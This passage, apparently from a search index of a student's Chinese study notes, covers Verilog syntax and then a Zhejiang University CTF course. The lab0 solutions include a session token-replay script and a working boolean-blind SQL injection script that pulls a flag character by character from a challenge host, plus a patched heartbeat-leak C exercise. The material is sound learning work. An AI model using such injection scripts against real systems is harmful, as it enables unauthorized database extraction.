<p>\u548c\u6a21\u5757\u8c03\u7528\u4e0d\u540c,\u5b9e\u4f8b\u540d\u53ef\u4ee5\u7701\u7565,\u7aef\u53e3\u8fde\u63a5\u53ea\u80fd\u91c7\u7528\u987a\u5e8f\u6cd5,\u8f93\u51fa\u5728\u524d,\u8f93\u5165\u5728\u540e.</p> <p>\u5e38\u89c1\u7684\u95e8\u539f\u8bed</p> <ul> <li> <p>\u4e0e\u95e8\u7b496\u4e2a:<code>and</code>,<code>or</code>,<code>xor</code>,<code>nand</code>,<code>nor</code>,<code>xnor</code>.\u7528\u6cd5\u4f8b\u5982<code>and (out,in1,in2,in3\u00b7\u00b7\u00b7)</code>,\u7b2c\u4e00\u4e2a\u662f\u8f93\u51fa,\u540e\u9762\u8ddf\u7740\u8f93\u5165,\u8f93\u5165\u4e0d\u9650\u5236\u4e2a\u6570</p> </li> <li> <p>\u975e\u95e8:<code>not</code>,\u7528\u6cd5\u4f8b\u5982<code>not (OUT,IN)</code></p> </li> <li> <p>\u7f13\u51b2\u5668:<code>buf</code>,\u7528\u6cd5\u4f8b\u5982<code>buf b1_2out(OUT1, OUT2, IN);</code>,\u524d\u9762\u662f\u8f93\u51fa,\u6700\u540e\u4e00\u4e2a\u662f\u8f93\u5165,\u8f93\u51fa\u4e2a\u6570\u4e0d\u9650.</p> </li> <li> <p>\u4e09\u6001\u95e8</p> <ul> <li>bufif1(\u63a7\u5236\u7aef1\u6709\u6548\u7f13\u51b2\u5668) </li> <li>bufif0 (\u63a7\u5236\u7aef0\u6709\u6548\u7f13\u51b2\u5668)</li> <li>notif1(\u63a7\u5236\u7aef1\u6709\u6548\u975e\u95e8)</li> <li>notif0(\u63a7\u5236\u7aef0\u6709\u6548\u975e\u95e8)</li> <li>\u7aef\u53e3\u5217\u8868\u4e2d\u524d\u9762\u662f\u8f93\u51fa,\u4e2d\u95f4\u662f\u8f93\u5165,\u6700\u540e\u662f\u4f7f\u80fd\u7aef,\u8f93\u51fa\u4e2a\u6570\u4e0d\u9650</li> </ul> </li> </ul> Hint <p> <pre><code>bufif1 b1 (out, in, ctrl);\nbufif0 b0 (out, in, ctrl);\nnotif1 n1 (out, in, ctrl);\nnotif0 n0 (out, in, ctrl);\n</code></pre></p>"},{"location":"NOTE/CS/Verilog/verilog/#verilog_1","title":"Verilog\u4e2d\u7684\u6570\u636e\u7c7b\u578b","text":"<p>Verilog\u4e2d\u7684\u6570\u636e\u7c7b\u578b\u5206\u4e3a\u4e24\u5927\u7c7b:net(\u7ebf\u7f51)\u7c7b\u548cvariable(\u53d8\u91cf)\u7c7b</p> <p>Note</p> <p>\u56e0\u8fde\u7eed\u8d4b\u503c\u8bed\u53e5\u548c\u8fc7\u7a0b\u8d4b\u503c\u8bed\u53e5\u7684\u6fc0\u6d3b\u7279\u70b9\u4e0d\u540c,\u6545\u8d4b\u503c\u76ee\u6807\u7279\u70b9\u4e5f\u4e0d\u540c,\u524d\u8005\u4e0d\u9700\u8981\u4fdd\u5b58,\u540e\u8005\u9700\u8981\u4fdd\u5b58,\u56e0\u6b64\u89c4\u5b9a\u4e24\u79cd\u6570\u636e\u7c7b\u578b,net\u578b\u7528\u4e8e\u8fde\u7eed\u8d4b\u503c\u7684\u8d4b\u503c\u76ee\u6807\u6216\u95e8\u539f\u8bed\u7684\u8f93\u51fa,\u4e14\u4eff\u771f\u65f6\u4e0d\u9700\u8981\u5206\u914d\u5185\u5b58\u7a7a\u95f4,variable\u7528\u4e8e\u8fc7\u7a0b\u8d4b\u503c\u7684\u8d4b\u503c\u76ee\u6807,\u4e14\u4eff\u771f\u65f6\u9700\u8981\u5206\u914d\u5185\u5b58\u7a7a\u95f4.</p> <ul> <li>net \u7c7b\u4e2d\u7684\u6570\u636e\u7c7b\u578b(\u5e38\u7528wire)</li> </ul> wire(\u7ebf\u578b) tri(\u4e09\u6001) tri0(\u4e0b\u62c9\u7535\u963b) supply0(\u5730) wand(\u7ebf\u4e0e) triand(\u4e09\u6001\u4e0e) tri1(\u4e0a\u62c9\u7535\u963b) supply1(\u7535\u6e90) wor(\u7ebf\u6216) trior(\u4e09\u6001\u6216) trireg(\u7535\u5bb9\u6027\u7ebf\u7f51) <ul> <li>Variable\u7c7b\u4e2d\u7684\u6570\u636e\u7c7b\u578b(\u5e38\u7528reg)</li> </ul> reg(\u5bc4\u5b58\u5668\u578b) integer(\u6574\u578b) time(\u65f6\u95f4\u578b) real(\u5b9e\u578b) realtime(\u5b9e\u65f6\u95f4\u578b) Info <p>\u5c06\u4e00\u4e2a\u4fe1\u53f7\u5b9a\u4e49\u6210net\u578b\u8fd8\u662fvarible\u578b,\u7531\u4ee5\u4e0b\u4e24\u65b9\u9762\u51b3\u5b9a</p> <p>a.\u4f7f\u7528\u4f55\u79cd\u8d4b\u503c\u8bed\u53e5\u5bf9\u8be5\u4fe1\u53f7\u8fdb\u884c\u8d4b\u503c,\u5982\u679c\u662f\u8fde\u7eed\u8d4b\u503c\u6216\u95e8\u539f\u8bed\u8d4b\u503c\u6216\u4f8b\u5316\u8bed\u53e5\u8d4b\u503c,\u5219\u5b9a\u4e49\u6210net\u578b;\u5982\u679c\u662f\u8fc7\u7a0b\u8d4b\u503c\u5219\u5b9a\u4e49\u6210variable\u578b.</p> <p>b.\u5bf9\u4e8e\u7aef\u53e3\u4fe1\u53f7\u6765\u8bf4,input\u4fe1\u53f7\u548cinout\u4fe1\u53f7\u5fc5\u987b\u5b9a\u4e49\u6210net\u578b\u7684;output\u4fe1\u53f7\u53ef\u4ee5\u662fnet\u578b\u7684\u4e5f\u53ef\u4ee5\u662fvariable\u578b\u7684,\u51b3\u5b9a\u4e8e\u5982\u4f55\u5bf9\u5176\u8d4b\u503c(\u540ca).</p> <p></p> <p>Example</p> <p></p> <p>\u8be5\u56fe\u4e2dd\u548ce\u7684\u8d4b\u503c\u6709\u4e09\u79cd\u65b9\u6cd5</p> <ul> <li> <p>\u4f7f\u7528\u8fde\u7eed\u8d4b\u503c\u8bed\u53e5   <pre><code>assign d=a&amp;b;\nassign e=d|c;\n</code></pre>   \u6b64\u65f6,d\u548ce\u5fc5\u987b\u5b9a\u4e49\u4e3anet\u7c7b\u7684</p> </li> <li> <p>\u4f7f\u7528\u95e8\u539f\u8bed\u8d4b\u503c   <pre><code>and (d,a,b);\nor (e,d,c);\n</code></pre>   \u6b64\u65f6,d\u548ce\u4e5f\u5fc5\u987b\u662fnet\u7c7b\u7684</p> </li> <li> <p>\u4f7f\u7528\u8fc7\u7a0b\u8d4b\u503c\u8bed\u53e5 <pre><code>   always @(a,b,d,c)\n    begin\n      d=a&amp;b;\n      e=d|c;\n    end\n</code></pre> \u6b64\u65f6d\u548ce\u5fc5\u987b\u662freg\u7c7b\u578b\u7684.</p> </li> </ul> <p>\u6211\u4eec\u4e5f\u53ef\u4ee5\u5728\u8fd9\u91cc\u56de\u5fc6\u4e00\u4e0b,\u8fd9\u91ccd\u5148\u6539\u53d8\u4e86,e\u4f1a\u53d7\u5230d\u7684\u5f71\u54cd,\u6240\u4ee5\u9700\u8981\u4f7f\u7528\u963b\u585e\u8d4b\u503c. </p>"},{"location":"NOTE/CS/Verilog/verilog/#verilog_2","title":"Verilog\u4e2d\u6570\u5b57\u7684\u8868\u793a\u683c\u5f0f\u4ee5\u53ca\u903b\u8f91\u503c","text":"<ul> <li>\u65e0\u7b26\u53f7\u6570\u7684\u8868\u793a\u65b9\u6cd5:<code>\u4f4d\u5bbd</code>+<code>'</code>+<code>\u8fdb\u5236</code>+<code>\u6570\u5b57</code>(5'd8,\u4e94\u4f4d\u5341\u8fdb\u52368,\u4e5f\u5c31\u662f\\((01000)_2\\))</li> <li>\u6709\u7b26\u53f7\u6570\u7684\u8868\u793a\u65b9\u6cd5:<code>\u4f4d\u5bbd</code>+<code>'</code>+<code>sb</code>+<code>\u6570\u5b57</code>(8'sb10111011,\u7b2c\u4e00\u4f4d\u662f\u7b26\u53f7\u4f4d,\u662f\\(-(01000101)_2=-69_{10}\\))</li> <li>Verilog\u8bed\u8a00\u4e2d\u7684\u903b\u8f91\u503c\u6709\u56db\u79cd:<ul> <li>1\uff1a\u903b\u8f911\uff0c\u9ad8\u7535\u5e73\uff0c\u6570\u5b571</li> <li>0\uff1a\u903b\u8f910\uff0c\u4f4e\u7535\u5e73\uff0c\u6570\u5b570</li> <li>x\uff1a\u4e0d\u786e\u5b9a</li> <li>z\uff1a\u9ad8\u963b\u6001</li> </ul> </li> </ul>"},{"location":"NOTE/CS/Verilog/verilog/#if","title":"if\u8bed\u53e5","text":"<p>Verilog\u4e2d\u6709\u56db\u79cd\u7c7b\u578b\u7684if\u8bed\u53e5,\u5927\u81f4\u4e5f\u8ddfC\u8bed\u8a00\u7c7b\u4f3c</p> <ul> <li><code>if(&lt;\u6761\u4ef6\u8868\u8fbe\u5f0f&gt;)\u8bed\u53e5;</code></li> <li><code>if(&lt;\u6761\u4ef6\u8868\u8fbe\u5f0f&gt;)\u771f\u8bed\u53e5;else \u5047\u8bed\u53e5;</code></li> <li><code>verilog   if (&lt;\u6761\u4ef6\u8868\u8fbe\u5f0f1&gt;)\u8bed\u53e51;   else if (&lt;\u6761\u4ef6\u8868\u8fbe\u5f0f2&gt;)\u8bed\u53e52 ;   else if (&lt;\u6761\u4ef6\u8868\u8fbe\u5f0f3&gt;)\u8bed\u53e53 ;</code></li> <li> <p><code>Verilog   if (&lt;\u6761\u4ef6\u8868\u8fbe\u5f0f1&gt;)\u8bed\u53e51 ;   else if (&lt;\u6761\u4ef6\u8868\u8fbe\u5f0f2&gt;)\u8bed\u53e52 ;   else if (&lt;\u6761\u4ef6\u8868\u8fbe\u5f0f3&gt;)\u8bed\u53e53 ;   else \u9ed8\u8ba4\u8bed\u53e5 ;</code></p> </li> <li> <p>\u591a\u6761\u8bed\u53e5\u65f6\u4f7f\u7528<code>begin</code> <code>end</code></p> </li> </ul> <p>Eexample</p> <p>\u8ba1\u6570\u5668 <pre><code>always @(posedge CLK)\nif (!RST) Q=0;\nelse Q=Q+1;  \n</code></pre></p> Danger <p>\u5728\u7528if\u8bed\u53e5\u8bbe\u8ba1\u201c\u7ec4\u5408\u7535\u8def\u201d\u65f6\u8981\u6ce8\u610f\uff0c\u5982\u679c\u6761\u4ef6\u4e0d\u5b8c\u6574\uff0c\u4f1a\u7efc\u5408\u51fa\u5bc4\u5b58\u5668\u3002</p> <p>\u4f7f\u6761\u4ef6\u5b8c\u6574\u7684\u4e24\u79cd\u65b9\u6cd5:</p> <ul> <li>\u52a0else</li> <li>\u8bbe\u521d\u503c</li> </ul> <p></p> <pre><code>always @(a,b)\nif (sel) Q=a;\nelse      Q=b;\n</code></pre> <p><code>Verilog always @(a,b) Q=a; if (sel) Q=b;</code></p> <ul> <li>\u6761\u4ef6\u8868\u8fbe\u5f0f\u683c\u5f0f:(\u8ba1\u7b97\u8868\u8fbe\u5f0f),\u8ba1\u7b97\u8868\u8fbe\u5f0f\u53ef\u4ee5\u662f\u4efb\u610f\u5f62\u5f0f\u7684\u8868\u8fbe\u5f0f\uff1b\u6761\u4ef6\u8868\u8fbe\u5f0f\u7684\u7ed3\u679c\u53ea\u67090\u548c1\u4e24\u79cd\uff0c\u5982\u679c\u8ba1\u7b97\u8868\u8fbe\u5f0f\u7684\u503c\u4e3a0\uff0c\u5219\u6761\u4ef6\u8868\u8fbe\u5f0f\u7684\u503c\u4e3a0\uff0c\u5426\u5219\u4e3a1\u3002</li> </ul> <p>\u4f8b\u5982,\u8bbea=1000,b=0110</p> \u6761\u4ef6\u8868\u8fbe\u5f0f \u8ba1\u7b97\u8868\u8fbe\u5f0f \u7ed3\u679c if (a==b) 0 0 if (a&gt;b) 1 1 if (a) 1000 1 if (a*b) 11_0000(\u524d\u4e24\u4f4d\u88ab\u622a\u6389) 0 if (a b) 1110 if (a&amp;b) 0000 0"},{"location":"NOTE/CS/Verilog/verilog/#case","title":"Case \u8bed\u53e5","text":"<p>\u529f\u80fd\u7c7b\u4f3c\u4e8eC\u8bed\u8a00\u4e2d\u7684<code>switch case</code>\u8bed\u53e5</p> <p>\u683c\u5f0f: <pre><code>    case (\u8868\u8fbe\u5f0f)\n    \u53d6\u503c1: \u8bed\u53e51;\n    \u53d6\u503c2: \u8bed\u53e52;\n    \u53d6\u503c3: \u8bed\u53e53;\n    ...\n    ...\n    default: \u9ed8\u8ba4\u8bed\u53e5;\n    endcase\n</code></pre></p> <p><code>default</code>\u8bed\u53e5\u53ef\u52a0\u53ef\u4e0d\u52a0,\u4f46\u662f\u8981\u6ce8\u610f\u6761\u4ef6\u7684\u5b8c\u6574\u6027</p>"},{"location":"NOTE/CS/Verilog/verilog/#verilog_3","title":"Verilog\u7684\u8bed\u8a00\u63cf\u8ff0\u98ce\u683c","text":"<ul> <li>\u7ed3\u6784\u5316\u63cf\u8ff0(\u4e5f\u79f0\u95e8\u7ea7\u63cf\u8ff0,\u5168\u90e8\u4f7f\u7528\u95e8\u539f\u8bed\u548c\u5e95\u5c42\u6a21\u5757\u8c03\u7528)</li> <li>\u6570\u636e\u6d41\u7ea7\u63cf\u8ff0(\u5168\u90e8\u7528<code>assign</code> \u8bed\u53e5)</li> <li>\u884c\u4e3a\u7ea7\u63cf\u8ff0(\u5168\u90e8\u7528<code>always</code>\u8bed\u53e5\u914d\u5408<code>if``case</code>\u8bed\u53e5\u7b49)</li> <li>RTL\u7ea7\u63cf\u8ff0\u65b9\u5f0f(\u6570\u636e\u6d41\u7ea7+\u884c\u4e3a\u7ea7\uff0c\u53ef\u7efc\u5408)</li> <li>\u5b9e\u9645\u63cf\u8ff0\u662f\u4e09\u79cd\u6df7\u5408\u7684</li> </ul> <p>Example</p> <p> \u95e8\u7ea7\u63cf\u8ff0 <pre><code>module mux4_to_1 (out, i0, i1, i2, i3, s1, s0);\noutput out;\ninput i0, i1, i2, i3;\ninput s1, s0;\n\nwire s1n, s0n;\nwire y0, y1, y2, y3;\n\nnot (s1n, s1);\nnot (s0n, s0);\n\nand (y0, i0, s1n, s0n);\nand (y1, i1, s1n, s0);\nand (y2, i2, s1, s0n);\nand (y3, i3, s1, s0);\n\nor (out, y0, y1, y2, y3);\nendmodule\n</code></pre></p> <p>\u6570\u636e\u6d41\u7ea7\u63cf\u8ff0 <pre><code>module mux4_to_1  (out, i0, i1, i2, i3, s1, s0);\noutput out\uff0c\ninput i0, i1, i2, i3;\ninput s1, s0;\nassign out = (~s1 &amp; ~s0 &amp; i0)|(~s1 &amp; s0 &amp; i1) |(s1 &amp; ~s0 &amp; i2) |(s1 &amp; s0 &amp; i3) ;\nendmodule\n</code></pre></p> <p>\u884c\u4e3a\u7ea7\u63cf\u8ff0 <pre><code>module mux4_to_1(out, i0, i1, i2, i3, s1, s0);\noutput out;\ninput i0, i1, i2, i3;\ninput s1, s0;\nreg out;\nalways @(s1 or s0 or i0 or i1 or i2 or i3)\n begin\n    case ({s1, s0})\n       2'b00: out = i0;\n       2'b01: out = i1;\n       2'b10: out = i2;\n       2'b11: out = i3;\n       default: out = 1'bx;\n     endcase\n  end\nendmodule\n</code></pre></p>"},{"location":"NOTE/CS/Verilog/verilog/#_3","title":"\u5176\u4ed6\u89c4\u5b9a","text":"<ul> <li> <p>\u5173\u952e\u5b57:\u5173\u952e\u5b57\u5373Verilog\u8bed\u8a00\u4e2d\u9884\u5b9a\u4e49\u7684\u6709\u7279\u6b8a\u542b\u4e49\u7684\u82f1\u6587\u8bcd\u8bed</p> </li> <li> <p>\u6807\u8bc6\u7b26:\u6807\u8bc6\u7b26\u5373\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u4fe1\u53f7\u540d\u3001\u6a21\u5757\u540d\u7b49\u7b49\uff1b   \u6ce8\u610f\u5173\u952e\u5b57\u4e0d\u80fd\u4f5c\u6807\u8bc6\u7b26\uff1b   Verilog\u533a\u522b\u5927\u5c0f\u5199\uff08\u5173\u952e\u5b57\u90fd\u662f\u5c0f\u5199\uff09</p> </li> <li> <p>Verilog\u6587\u4ef6\u6269\u5c55\u540d\u4e3a.v\uff1bverilog\u4e0d\u8981\u6c42\u6587\u4ef6\u540d\u548c\u6a21\u5757\u540d\u4e00\u81f4</p> </li> <li> <p>\u6ce8\u91ca:\u548cC\u8bed\u8a00\u4e00\u6837,//\u5355\u884c\u6ce8\u91ca,/**/\u591a\u884c\u6ce8\u91ca</p> </li> </ul>"},{"location":"NOTE/CTF/CTF/","title":"\u6d59\u6c5f\u5927\u5b66AAA\u77ed\u5b66\u671f\u8bfe\u7a0b","text":"<p> \u7ea6 320 \u4e2a\u5b57  117 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 3 \u5206\u949f</p> <p>\u8be6\u7ec6\u7684lab\u4e0e\u4ee3\u7801\u5747\u4f1a\u4e0a\u4f20\u5230\u4ed3\u5e93</p>"},{"location":"NOTE/CTF/CTF/#7-2-lec1","title":"7-2 lec1","text":"<p>\u6388\u8bfe\uff1a\u5e38\u745e\uff0c\u738b\u9e64\u7fd4(TonyCrane)</p>"},{"location":"NOTE/CTF/CTF/#courese-website","title":"courese website","text":""},{"location":"NOTE/CTF/CTF/#_1","title":"\u8bfe\u7a0b\u4ecb\u7ecd","text":"<p>\u7b2c\u4e00\u8282\u8bfe\u4f8b\u884c\u4ecb\u7ecd\u8bfe\u7a0b\u5185\u5bb9\uff0c\u8001\u5e08\u4ee5\u53caTA\uff0cCTF\u4ecb\u7ecd:</p> <ul> <li> <p>web</p> </li> <li> <p>misc</p> </li> <li> <p>crypto</p> </li> <li> <p>pwn</p> </li> <li> <p>reverse</p> </li> <li> <p>\u8457\u540dCTF\u6bd4\u8d5b\u4ecb\u7ecd </p> </li> </ul> <p>Note</p> <ul> <li>\u57fa\u7840\u6a21\u5757 lab0+5\u4e2a\u5b9e\u9a8c 55%</li> <li>\u8003\u52e4 %5</li> <li>\u4e94\u4e2a\u4e13\u9898 \u6bcf\u6b21\u4f5c\u4e1a 20% \uff0c\u81ea\u90092\u4e2a\u6216\u4ee5\u4e0a</li> </ul>"},{"location":"NOTE/CTF/CTF/#ctf","title":"\u5982\u4f55\u5b66\u4e60CTF","text":"<ul> <li> <p>CTF-wiki</p> </li> <li> <p>hello-CTF </p> </li> <li> <p>zju\u6821\u8d5b</p> </li> <li> <p>Hackergame</p> </li> </ul>"},{"location":"NOTE/CTF/CTF/#lab0","title":"lab0","text":"<p>lab0 \u4f5c\u4e3a\u8bfe\u7a0b\u7b2c\u4e00\u4e2a\u4f5c\u4e1a\uff0c\u9700\u8981\u5168\u90e8\u505a\u5b8c</p> <p>Note</p> <p>\u7531\u4e8elab0\u62a5\u544a\u4e2d\u6211\u5df2\u7ecf\u5199\u8fc7\u4e00\u904d\u89e3\u91ca\uff0c\u4e0d\u60f3\u518d\u7167\u642c\u4e0a\u6765\u529b\uff0c\u6240\u4ee5\u53ea\u5199\u4e2a\u5927\u6982</p>"},{"location":"NOTE/CTF/CTF/#web","title":"Web","text":""},{"location":"NOTE/CTF/CTF/#token","title":"Token","text":"<p>\u80cc\u666f\uff1a\u70b9\u51fb\u4e00\u4e2a\u6309\u94ae1337\u6b21\u4f1a\u5f97\u5230Flag\uff0c\u4f46\u662f\u9f20\u6807\u9760\u8fd1\u5c31\u4f1a\u4f7f\u5f97\u6309\u94ae\u6d88\u5931\uff0cF12\u67e5\u770b\u6e90\u4ee3\u7801\u4e5f\u88ab\u7981\u6b62\u3002</p> <ul> <li> <p>view-source\uff1a    </p> </li> <li> <p><code>curl</code>\u547d\u4ee4     </p> </li> </ul> <p>\u9700\u8981\u4ee5\u540c\u4e00\u4e2a\u7528\u6237\u6765\u6267\u884c1337\u6b21\u70b9\u51fb</p> Hint <pre><code>import requests\n\nimport re\n\nsess = requests.Session()\n\nfor i in range(1337):\n    res=sess.get(\"http://pumpk1n.com/lab0.php\")\n    r = re.findall(r\"token=(.*)'\",res.text)\n    flag=sess.get(f\"http://pumpk1n.com/flag.php?token={r[0]}\")\n    if(i==1336):\n      print(flag.text)\n</code></pre>"},{"location":"NOTE/CTF/CTF/#_2","title":"\u5e03\u5c14\u76f2\u6ce8","text":"<p>\u53ea\u6709\u4e24\u79cd\u8f93\u5165\u88ab\u5141\u8bb8\uff0c\u7a7a\u683c\u4e5f\u4e0d\u5141\u8bb8\uff0c1\u548c2\uff0c\u4f46\u662f\u4f1a\u8fdb\u884c\u5e03\u5c14\u8fd0\u7b97\uff0c\u53ef\u4ee5\u5229\u7528\u62ec\u53f7\u4ee3\u66ff\u7a7a\u683c</p> Hint <pre><code>import requests\nimport string\n\n\nflag=''\nurl='http://040601e5-a92b-4bc9-8831-f9863d3d8381.node5.buuoj.cn:81/'\nascii_list=string.printable\ndone=0\nindex=0\nwhile done != 1:\n    for i in ascii_list:\n        input='if(ascii(substr((select(flag)from(flag)),{0},1))={1},1,2)'.format(index,ord(i))\n        post_in={\"id\":input}\n        res=requests.post(url=url,data=post_in)\n        if 'glzjin' in res.text:\n            flag+=i\n            print(flag)\n            index+=1\n            if i=='}':\n                done=1\n            break\n</code></pre>"},{"location":"NOTE/CTF/CTF/#pwn","title":"Pwn","text":"<p>\u5bfb\u627e\u53ef\u80fd\u53d1\u751f\u7684\u5185\u5b58\u6cc4\u6f0f</p> Hint <pre><code>    #include &lt;stdio.h&gt;\n    #include &lt;stdlib.h&gt;\n    #include &lt;string.h&gt;\n    #include &lt;stdint.h&gt;\n    #include &lt;stdbool.h&gt;\n\n    struct hbpkt\n    {\n        uint32_t size;\n        uint32_t timestamp;\n        uint32_t index;\n        uint32_t cred;\n        char data[];\n    };\n\n    struct hbpkt *get_heart_beat()\n    {\n        uint8_t buffer[0x1000] = {0};\n        fread(buffer, sizeof(struct hbpkt), 1, stdin);\n\n        struct hbpkt *tmp = (struct hbpkt *)buffer;\n\n        if (tmp-&gt;size &gt; 0x1000)\n            return NULL;\n\n        if(tmp-&gt;size &gt; sizeof(struct hbpkt))fread(tmp-&gt;data, tmp-&gt;size - sizeof(struct hbpkt), 1, stdin);\n        else {\n            printf(\"Invalid size\\n\");\n            return NULL;\n        }//\u589e\u52a0\u5224\u65ad\uff0c\u9632\u6b62 size \u5c0f\u4e8e\u7b49\u4e8e sizeof(struct hbpkt) \u65f6\u65e0\u7b26\u53f7\u6570\u6ea2\u51fa\n\n        uint32_t real_size = sizeof(struct hbpkt) + strlen(tmp-&gt;data);\n\n        struct hbpkt *res = malloc(real_size);\n\n        if (!res)\n            return NULL;\n\n        memcpy(res, buffer, real_size);\n\n        res-&gt;index += 1;\n        res-&gt;size = real_size;//\u66f4\u65b0size\uff0c\u9632\u6b62\u6ea2\u51fa\n\n        return res;\n    }\n\n    int reply_heart_beat(struct hbpkt *pkt)\n    {\n        int err=0;\n        int written;\n\n        if (pkt-&gt;size)\n        {\n            written = fwrite(pkt, 1, pkt-&gt;size, stdout);\n            fflush(stdout);\n        }\n\n        if (written == 0 || written != pkt-&gt;size)\n        {\n            err = 1;\n        }\n\n        return err;\n    }\n\n    int main()\n    {\n        int err;\n        while (true)\n        {\n            struct hbpkt *p = get_heart_beat();\n            if (!p)\n                continue;\n\n            err = reply_heart_beat(p);\n\n            if (err)\n            {\n                free(p);\n                continue;\n            }\n            free(p);//\u91ca\u653e\u5185\u5b58\n        }\n    }  \n</code></pre>"},{"location":"NOTE/CTF/CTF/#reverse","title":"Reverse","text":"<p>\u53cd\u6c47\u7f16IDA\u5de5\u5177\u7684\u4f7f\u7528</p>"},{"location":"NOTE/CTF/CTF/#misc","title":"Misc","text":""},{"location":"NOTE/CTF/CTF/#cyperchef","title":"Cyperchef\uff0c\u795e\u5947\u5999\u5999\u5c0f\u5de5\u5177","text":""},{"location":"NOTE/CTF/CTF/#lsb","title":"LSB\u9690\u5199","text":""},{"location":"NOTE/CTF/CTF/#crypto","title":"Crypto","text":""},{"location":"NOTE/CTF/CTF/#-","title":"\u53e4\u5178\u5bc6\u7801-\u8df3\u821e\u7684\u5c0f\u4eba","text":""},{"location":"NOTE/CTF/CTF/#rsa-","title":"RSA\u89e3\u5bc6-\u6a21\u9006\u5143\u6c42\u89e3","text":""},{"location":"NOTE/CTF/Crypto/","title":"Crypto","text":"<p> \u7ea6 1412 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 5 \u5206\u949f</p> <p>\u6388\u8bfe\uff1a\u57ce\u5821</p>"},{"location":"NOTE/CTF/Crypto/#_1","title":"\u5bc6\u7801\u5b66\u57fa\u7840","text":"<p>\u5bc6\u7801\u5b66\u662f\u7814\u7a76\u7f16\u5236\u5bc6\u7801\u548c\u7834\u8bd1\u5bc6\u7801\u7684\u6280\u672f\u79d1\u5b66</p> <ul> <li>\u8bbe\u8ba1\u52a0\u89e3\u5bc6\u7b97\u6cd5</li> <li>\u7834\u89e3\u52a0\u89e3\u5bc6\u7b97\u6cd5</li> </ul>"},{"location":"NOTE/CTF/Crypto/#_2","title":"\u5bc6\u7801\u5b66\u4ecb\u7ecd","text":""},{"location":"NOTE/CTF/Crypto/#_3","title":"\u4e3a\u4f55\u9700\u8981\u5bc6\u7801\u5b66","text":"<ul> <li>\u5b58\u50a8\uff1a\u4fe1\u606f\u7684\u5b58\u50a8\u53ef\u80fd\u662f\u4e0d\u5b89\u5168\u7684\uff0c\u4f1a\u88ab\u7a83\u53d6</li> <li>\u4f20\u8f93\uff1a\u4fe1\u606f\u7684\u4f20\u8f93\u8fc7\u7a0b\u53ef\u80fd\u4e5f\u4e0d\u662f\u9690\u79d8\u7684\uff0c\u4f1a\u88ab\u7a83\u542c</li> </ul> <p>\u4e0d\u80fd\u76f4\u63a5\u4f7f\u7528\u660e\u6587\u8fdb\u884c\u5b58\u50a8\u548c\u4f20\u8f93\uff01</p>"},{"location":"NOTE/CTF/Crypto/#crypto-in-ctf","title":"Crypto in CTF","text":"<p>\u51fa\u9898\u4eba\u7ed9\u5b9a\u4e00\u4e2a\u6709\u4e00\u5b9a\u7f3a\u9677\u7684\u52a0\u5bc6\u7b97\u6cd5\uff0c\u9700\u8981\u9009\u624b\u653b\u7834\u8be5\u52a0\u5bc6\u7b97\u6cd5\uff0c\u5f97\u5230\u89e3\u5bc6\u540e\u7684\u6587\u5b57\uff0c\u6216\u8005\u4f2a\u9020\u52a0\u5bc6\u4fe1\u606f</p> <p>\u6bd4\u8d5b\u4e2d\u9898\u76ee\u867d\u7136\u5e38\u5e38\u4f1a\u6d89\u53ca\u8bb8\u591a\u8f83\u65b0\u7684\u8bba\u6587\u7814\u7a76\u7ed3\u679c\uff0c\u4f46\u662f\u4ecd\u4e0e\u76ee\u524d\u9690\u79c1\u8ba1\u7b97\u7b49\u524d\u6cbf\u5bc6\u7801\u5b66\u5b89\u5168\u7814\u7a76\u6709\u4e00\u5b9a\u8ddd\u79bb</p>"},{"location":"NOTE/CTF/Crypto/#crypto_1","title":"Crypto\u5b66\u4e60\u8d44\u6e90\u63a8\u8350","text":"<ul> <li>CTF Wiki</li> <li>4\u8001\u5e08\u503e\u60c5\u63a8\u8350\u7684\u5bc6\u7801\u5b66\u505a\u9898\u7f51\u7ad9\uff1aCryptoHack</li> <li>\u5bc6\u7801\u5b66\u5165\u95e8\u4e66\u7c4d\uff1aAn introduction to mathematical cryptography</li> </ul>"},{"location":"NOTE/CTF/Crypto/#_4","title":"\u57fa\u672c\u672f\u8bed","text":"<ul> <li>\u6d88\u606f\u88ab\u79f0\u4e3a\u660e\u6587\uff08Plaintext\uff09\u3002\u7528\u67d0\u79cd\u65b9\u6cd5\u4f2a\u88c5\u6d88\u606f\u4ee5\u9690\u85cf\u5b83\u7684\u5185\u5bb9\u7684\u8fc7\u7a0b\u79f0\u4e3a\u52a0\u5bc6 \uff08Encryption\uff09\uff0c\u88ab\u52a0\u5bc6\u7684\u6d88\u606f\u79f0\u4e3a\u5bc6\u6587\uff08Ciphertext\uff09\uff0c\u628a\u5bc6\u6587\u6062\u590d\u4e3a\u660e\u6587\u7684\u8fc7\u7a0b\u79f0\u4e3a\u5bc6\uff08Decryption\uff09\u3002</li> <li>\u5bc6\u7801\u7b97\u6cd5\uff08Cryptography Algorithm\uff09\uff1a\u662f\u7528\u4e8e\u52a0\u5bc6\u548c\u89e3\u5bc6\u7684\u6570\u5b66\u51fd\u6570\u3002</li> <li>\u5bc6\u94a5\uff08Key\uff09\uff1a\u52a0\u5bc6\u6216\u89e3\u5bc6\u6240\u9700\u8981\u7684\u9664\u5bc6\u7801\u7b97\u6cd5\u4e4b\u5916\u7684\u5173\u952e\u4fe1\u606f\u3002</li> <li>\u5bf9\u79f0\u52a0\u5bc6\uff08Symmetric Cryptography\uff09<ul> <li>\u7279\u70b9\uff1a\u5728\u52a0\u5bc6\u548c\u89e3\u5bc6\u65f6\u4f7f\u7528\u540c\u4e00\u5bc6\u94a5</li> <li>\u4f8b\u5b50\uff1a\u6d41\u5bc6\u7801\uff08RC4\uff09\uff0c\u5757\u5bc6\u7801\uff08AES\uff0cDES\uff09</li> </ul> </li> <li>\u975e\u5bf9\u79f0\u52a0\u5bc6\uff08Asymmetric Cryptography\uff09<ul> <li>\u7279\u70b9\uff1a\u5728\u52a0\u5bc6\u548c\u89e3\u5bc6\u65f6\u4f7f\u7528\u4e0d\u540c\u5bc6\u94a5\uff0c\u52a0\u5bc6\u4f7f\u7528\u516c\u94a5\uff0c\u89e3\u5bc6\u4f7f\u7528\u79c1\u94a5</li> <li>\u4f8b\u5b50\uff1aRSA\uff0cElGamal\uff0cECC</li> </ul> </li> <li>\u54c8\u5e0c\u51fd\u6570\uff08Hash Function\uff09<ul> 